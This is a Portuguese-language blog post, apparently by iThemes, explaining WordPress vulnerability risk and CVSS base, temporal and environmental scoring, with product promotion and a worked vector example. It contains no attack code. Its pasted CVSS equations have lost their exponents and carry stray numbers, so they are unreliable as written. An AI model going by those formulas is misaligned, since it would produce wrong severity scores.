O iThemes Security Pro Site Scanner é a sua maneira de automatizar a proteção contra vulnerabilidades em todos os seus sites WordPress. O Site Scanner verifica se há vulnerabilidades conhecidas em seu site e aplicará automaticamente um patch, se houver um disponível.

O site do iThemes Security Pro verifica três tipos de vulnerabilidades.

1. Vulnerabilidades do WordPress
2. Vulnerabilidades de plug-in
3. Vulnerabilidades de tema

O recurso iThemes Sync Pro Site Audit aproveita o poder do Google Lighthouse para proteger seu site. O Site Audit verifica e sinaliza páginas que incluem bibliotecas JavaScript front-end com vulnerabilidades de segurança conhecidas.

É uma prática comum para desenvolvedores usar código de terceiros - como bibliotecas JS - em seus plug-ins e temas. Infelizmente, se as bibliotecas não forem mantidas adequadamente, elas podem criar vulnerabilidades que os invasores podem aproveitar para hackear seu site. O uso de componentes com vulnerabilidades conhecidas está na lista dos 10 principais do OWASP.

A auditoria do site salvou meu bacon! Eu criei um cronograma de auditoria para que o Sync Pro execute auditorias automatizadas semanais e me envie os relatórios de auditoria por e-mail. Eu mantenho tudo atualizado e é por isso que fiquei chocado quando vi em uma das auditorias do meu site que estava usando bibliotecas JavaScript com vulnerabilidades de segurança conhecidas.

O relatório me apontou para uma versão desatualizada de jQuery no diretório WordPress do site repleto de vulnerabilidades conhecidas! Para minha sorte, vi em meu Sync Pro Site Audit que estava usando bibliotecas JavaScript com vulnerabilidades de segurança conhecidas e consegui resolver o problema antes que meu site fosse invadido.

Como medir um risco de vulnerabilidade do WordPress

Existem vários tipos de vulnerabilidades do WordPress, todas com vários graus de risco. Felizmente para nós, o National Vulnerability Database - um projeto do Instituto Nacional de Ciência e Tecnologia - tem uma calculadora do sistema de pontuação de vulnerabilidade para determinar o risco de uma vulnerabilidade.

Esta seção do guia de vulnerabilidade do WordPress cobrirá as métricas e os níveis de gravidade do sistema de pontuação de vulnerabilidade. Embora esta seção seja um pouco mais técnica, alguns usuários podem considerá-la útil para aprofundar sua compreensão de como as vulnerabilidades do WordPress e sua gravidade são avaliadas.

Métricas comuns do sistema de pontuação de vulnerabilidade do WordPress

A equação do sistema de pontuação de vulnerabilidade usa três conjuntos diferentes de pontuações para determinar a pontuação geral de gravidade.

1. Métricas básicas

O grupo de métricas base representa as características de uma vulnerabilidade que são constantes nos ambientes do usuário.

As métricas básicas são divididas em dois grupos, Explorabilidade e Impacto.

1.1. Métricas de exploração

A pontuação de explorabilidade é baseada na dificuldade de um invasor tirar vantagem da vulnerabilidade. A pontuação é calculada usando 5 variáveis ​​diferentes.

1.1.1. Vetor de ataque (AV)

A pontuação do vetor de ataque é baseada no método em que a vulnerabilidade é explorada. A pontuação será maior quanto mais remoto um invasor pode estar para explorar a vulnerabilidade.

A ideia é que o número de invasores potenciais será muito maior se a vulnerabilidade puder ser explorada por meio de uma rede, em comparação com uma vulnerabilidade que requer acesso físico a uma exploração de dispositivo.

Quanto mais invasores em potencial houver, maior será o risco de exploração e, portanto, a pontuação do Vetor de Ataque atribuída à vulnerabilidade será maior.

1.1.2. Complexidade de ataque (AC)

O valor da complexidade é baseado nas condições necessárias para explorar a vulnerabilidade. Algumas condições podem exigir a coleta de mais informações sobre o destino, a presença de certas definições de configuração do sistema ou exceções computacionais.

A pontuação de complexidade do ataque será maior quanto menor for a complexidade necessária para explorar a vulnerabilidade.

1.1.3. Privilégios exigidos (PR)

A pontuação dos privilégios necessários é calculada com base nos privilégios que um invasor deve obter antes de explorar uma vulnerabilidade. Iremos nos aprofundar um pouco mais na seção Autenticado vs. Não Autenticado.

A pontuação será mais alta se nenhum privilégio for necessário.

1.1.4. Interação do usuário (UI)

A pontuação de interação do usuário é determinada com base no fato de uma vulnerabilidade exigir ou não a interação do usuário para ser explorada.

A pontuação será mais alta quando nenhuma interação do usuário for necessária para que um invasor explore a vulnerabilidade.

1.1.5. Alcance

A pontuação do escopo é baseada em uma vulnerabilidade em um componente de software para impactar recursos além de seu escopo de segurança.

O escopo de segurança abrange outros componentes que fornecem funcionalidade apenas para aquele componente, mesmo se esses outros componentes tiverem sua própria autoridade de segurança.

A pontuação é mais alta quando ocorre uma mudança de escopo.

1.2. Impact Metrics

As métricas de impacto capturam os efeitos diretos de uma vulnerabilidade explorada com sucesso.

1.2.1. Impacto confidencial (C)

Essa pontuação de impacto confidencial mede o impacto sobre a confidencialidade das informações gerenciadas pelo software explorado.

A pontuação é mais alta quando a perda para o software afetado é maior.

1.2.2. Integridade (I)

Essa pontuação de integridade é baseada no impacto sobre a integridade de uma vulnerabilidade explorada com êxito.

A pontuação é mais alta quando a consequência do software afetado é maior.

1.2.3. Disponibilidade (A)

A pontuação de disponibilidade é baseada no impacto da disponibilidade do software explorado.

A pontuação é mais alta quando a consequência do componente impactado é maior.

Cálculo da pontuação CVSS da pontuação básica

A pontuação básica é uma função das equações de subpontuação de Impacto e Explorabilidade. Onde a pontuação básica é definida como,

 If (Impact sub score <= 0) 0 else, Scope Unchanged 4 Roundup(Minimum[(Impact+Exploitability),10]) Scope Changed Roundup(Minimum[1.08×(Impact+Exploitability),10]) and the Impact subscore (ISC) is defined as, Scope Unchanged 6.42 × ISCBase Scope Changed 7.52 × [ISCBase - 0.029] - 3.25 × [ISCBase - 0.02] 15 Where, ISCBase = 1 - [(1 - ImpactConf) × (1 - ImpactInteg) × (1 - ImpactAvail)] And the Exploitability sub score is, 8.22 × AttackVector × AttackComplexity × PrivilegeRequired × UserInteraction

2. Métricas de pontuação temporal

As métricas temporais medem o estado atual das técnicas de exploração, a existência de quaisquer patches ou soluções alternativas ou a confiança que se tem na descrição de uma vulnerabilidade.

Espera-se que as métricas temporais mudem e mudem com o tempo.

2.1. Exploit Code Maturity (E)

A maturidade do código de exploração é baseada na probabilidade de a vulnerabilidade ser atacada.

Quanto mais fácil for a exploração de uma vulnerabilidade, maior será a pontuação de vulnerabilidade.

2.2. Nível de Remediação (RL)

O nível de remediação de uma vulnerabilidade é um fator importante para a priorização. Soluções alternativas ou hotfixes podem oferecer remediação provisória até que um patch ou atualização oficial seja lançado.

Quanto menos oficial e permanente for uma correção, maior será a pontuação de vulnerabilidade.

2.3. Confiança do relatório (RC)

A métrica de confiança do relatório mede o nível de confiança de que existe uma vulnerabilidade e a credibilidade dos detalhes técnicos.

Quanto mais uma vulnerabilidade for validada pelo fornecedor ou outras fontes confiáveis, maior será a pontuação.

Cálculo de pontuação de CVSS temporal

A pontuação temporal é definida como,

 Roundup(BaseScore v× ExploitCode Maturity × RemediationLevel × ReportConfidence)

3. Métricas de pontuação ambiental

As métricas ambientais permitem que os analistas personalizem a pontuação do CVSS com base na importância dos ativos de TI afetados.

As métricas de Exploração Ambiental e Impacto são um equivalente modificado das métricas de Base e são valores atribuídos com base na localização dos componentes da infraestrutura organizacional. Consulte as seções de métricas básicas acima para visualizar os valores e as descrições das métricas de explorabilidade e impacto.

As métricas ambientais contêm um grupo extra, Modificadores de subpontuação de impacto.

3.1. Métricas de modificadores de subpontuação de impacto

As métricas do Impact Subscore Modifiers avaliam os requisitos de segurança específicos para Confidencialidade (CR), Integridade (IR) e Disponibilidade (AR), permitindo que a pontuação ambiental seja ajustada de acordo com o ambiente dos usuários.

Cálculo de pontuação de CVSS ambiental

A pontuação ambiental é definida como,

 If (Modified Impact Sub score <= 0) 0 else, If Modified Scope is Unchanged Round up(Round up (Minimum [ (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) If Modified Scope is Changed Round up(Round up (Minimum [1.08 × (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) And the modified Impact sub score is defined as, If Modified Scope is Unchanged 6.42 × [ISC Modified ] If Modified Scope is Changed 7.52 × [ISC Modified - 0.029]-3.25× [ISC Modified × 0.9731 - 0.02] 13 Where, ISC Modified = Minimum [[1 - (1 - M.IConf × CR) × (1 - M.IInteg × IR) × (1 - M.IAvail × AR)], 0.915] The Modified Exploitability sub score is, 8.22 × M.AttackVector × M.AttackComplexity × M.PrivilegeRequired × M.UserInteraction 4 Where “Round up” is defined as the smallest number, specified to one decimal place, that is equal to or higher than its input. For example, Round up (4.02) is 4.1; and Round up (4.00) is 4.0.

Pontuação e gravidade geral do CVSS

O Sistema de Pontuação de Vulnerabilidade Comum Geral ou pontuação CVSS é uma representação das pontuações Base, Temporal e Ambiental.

A pontuação CVSS geral pode ser usada para dar uma ideia de quão severa ou séria é uma vulnerabilidade.

Exemplo de classificação de gravidade CVSS do mundo real

Em nosso resumo de vulnerabilidades de dezembro de 2020, relatamos uma vulnerabilidade no plugin Easy WP SMTP. A vulnerabilidade de dia zero (abordaremos as vulnerabilidades de dia zero na próxima seção) permitiu que um invasor assumisse o controle de uma conta de administrador e estava sendo explorado em liberdade.

Dando uma olhada na entrada do National Vulnerability Database, podemos encontrar a classificação de gravidade da vulnerabilidade do WP SMTP.

Vamos analisar algumas coisas da captura de tela WP SMTP NVDB acima.

Pontuação de base : a pontuação de base é 7,5, o que nos indica que a classificação de gravidade da vulnerabilidade é alta.

Vetor : o vetor nos diz que a pontuação é baseada nas equações de vulnerabilidade do CVSS 3.1 e nas métricas usadas para calcular a pontuação.

Aqui está a parte das métricas do vetor.

 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Agora vamos usar os valores e descrições da métrica básica do início deste post para entender os oito valores métricos do vetor.

1. AV: N - Isso significa que o Vetor de Ataque (AV) da vulnerabilidade é a Rede (N). Em outras palavras, um invasor precisa apenas de acesso à rede para explorar a vulnerabilidade.
2. AC: L - A Complexidade de Ataque (AC) da vulnerabilidade é Baixa (L). Em outras palavras, qualquer script kiddie pode explorar a vulnerabilidade.
3. PR: N - Os privilégios exigidos (PR) necessários para explorar a vulnerabilidade são Nenhum (N). Portanto, a vulnerabilidade não requer um usuário autenticado para ser explorada. (Abordaremos a diferença entre vulnerabilidades autenticadas e não autenticadas posteriormente nesta postagem.)
4. IU: N - A interação do usuário (IU) necessária para explorar esta vulnerabilidade é nenhuma (N). Portanto, o invasor tem os meios para explorar a vulnerabilidade por si mesmo.
5. S: U - Isso significa que o Escopo (S) da vulnerabilidade é Inalterado (U). No caso desta vulnerabilidade, o componente vulnerável e o componente afetado são os mesmos.
6. C: H - O impacto da confidencialidade (C) da vulnerabilidade é alto (H). Quando esta vulnerabilidade é explorada, resulta na perda total da confidencialidade.
7. I: N - O impacto na integridade (I) desta vulnerabilidade é nenhum (N). Quando a vulnerabilidade é explorada, não há perda de integridade ou confiabilidade das informações vulneráveis.
8. A: N - Isso significa que o Impacto da Disponibilidade (A) é Nenhum (N). Quando a vulnerabilidade é explorada, não haverá impacto na disponibilidade do seu site.

A pontuação CVSS pode nos ajudar a determinar a gravidade e o escopo de qualquer vulnerabilidade. Nas próximas seções, cobriremos alguns termos importantes de vulnerabilidade que costumam ser incluídos nas divulgações de vulnerabilidade.

Webinar explicado sobre vulnerabilidades do WordPress

Confira nosso webinar que cobre o mesmo tópico.

Conclusão: Vulnerabilidades do WordPress explicadas

Embora as vulnerabilidades do WordPress sejam assustadoras, a boa notícia é que a maioria das vulnerabilidades do WordPress são descobertas e corrigidas antes que os bandidos tenham a chance de explorá-las.

Você pode ajudar a proteger seu site contra vulnerabilidades, mantendo o núcleo do WordPress e seu plug-in e temas atualizados é a melhor maneira de garantir o recebimento dos patches de segurança mais recentes.

Michael Moore

A cada semana, Michael elabora o Relatório de vulnerabilidade do WordPress para ajudar a manter seus sites seguros. Como Gerente de Produto da iThemes, ele nos ajuda a continuar melhorando a linha de produtos da iThemes. Ele é um nerd gigante e adora aprender sobre todas as coisas de tecnologia, antigas e novas. Você pode encontrar Michael saindo com sua esposa e filha, lendo ou ouvindo música quando não está trabalhando.